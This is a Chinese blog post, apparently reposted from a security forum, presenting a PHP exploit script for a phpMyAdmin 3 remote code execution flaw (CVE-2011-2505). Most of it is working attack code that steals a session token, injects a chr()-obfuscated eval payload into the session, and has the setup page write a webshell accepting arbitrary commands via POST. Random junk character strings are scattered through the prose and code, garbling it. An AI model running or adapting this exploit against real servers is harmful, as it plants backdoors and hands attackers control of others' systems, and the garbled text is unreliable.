phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
# f/ l$ }3 j2 i( A) P
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
5 O5 \  _, L+ S1 _  ~" `& {
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：

#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
$ g# s$ \& T3 g) a  _5 ?by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
! V/ @- g( n0 }1 VAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');

/**
* working when the directory:"config" exists and is writeable.
4 r" [. ^0 j; z$ L**/
) k; I( _4 o: Q1 f
6 l3 \" V9 K% X" v! ]if ($argc < 3) {
) N; a. X# k0 B# @. m3 d: a8 |    print_r('
. I* i0 o2 O; q6 v: V+ q# |) ^+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
1 _( m' z% G  J( e1 @7 h+ X! |host:      target server (ip/hostname)
path:      path to pma3
5 @- }1 U9 K3 ZExample:
. s' |+ O" X5 Jphp '.$argv[0].' localhost /pma/
5 g" l' U: R: U5 L6 l) C! G+---------------------------------------------------------------------------+
; A* F  x' ~  a% r! c% }+ p# J');
$ S4 o* |2 r$ o* i- t4 O    exit;
}
, U$ l' i' I2 \' x9 F4 f
$host = $argv[1];
3 a* H8 r! W( ^& x+ q$ c8 }+ k$path = $argv[2];

/**
# S! i2 H5 `, }( l * Try to determine if the directory:"config" exists
**/
& {) Q" D& ^3 r$ N# d( ?echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
; L: C8 q+ Z( d8 i' ^2 n    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}

! O: @& F( ?6 @$ G& q/**
* Try to get token and sessionid
**/
/ e' q6 g% y* m; B! Decho "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
& u, Y' x5 S+ [if($token && $sessionid){
    echo "[+] tokentoken\n";
; h8 s, E) `9 x) J, P    echo "[+] Session IDsessionid\n";
}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
( L/ ]# N* C8 u9 A}
: q6 G  @" f: l% i7 w. ^
/**
* Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
* d! X; T: {% W% r6 O' Y" {+ b( w4 |; iphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

/**
( R# T% `' d* l/ X * Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
/ E+ `9 G) B1 b5 H& b    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
) z5 a! b- M* B}else{
4 F$ J. D9 }9 e; p, s    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}
% K$ ~" T0 m( Q6 @6 e# K
7 \: S" O( {+ D# g  P! ?) _/ `function php_request($url,$data='',$cookie=''){
/ k- Y0 k' C$ T3 ?4 w' G    global  $host, $path;
8 a5 [5 O  y2 T( G6 @$ w, ^   
& q" K, K1 r# M! g    $method=$data?'POST':'GET';
   
# q7 I% K; c- Y    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
' [0 t+ p# s" n5 s1 B5 D    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
2 ]) O( D( Z5 c  a4 N    $packet .= "Host: $host\r\n";
9 r* ?* c. j& j. X    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";
: X! g) K: l, g, M: V
    $fp = fsockopen(gethostbyname($host), 80);
& T- x" m8 A5 O& `  Z7 z6 N1 p" C, X    if (!$fp) {
    echo 'No response from '.$host; die;
0 W$ x$ P% A+ W) k/ F    }
$ @+ k. b5 V8 J$ D9 r    fputs($fp, $packet);

    $resp = '';

! B! o) b  o; M5 }    while ($fp && !feof($fp))
. |+ c* f. I& ~        $resp .= fread($fp, 1024);

7 j5 W8 A2 E; ]' y$ k    return $resp;
' l5 S/ m0 h( e7 r- i% i9 Y}
   
?>
# q3 a7 s& ^  l8 W4 }( Z" \.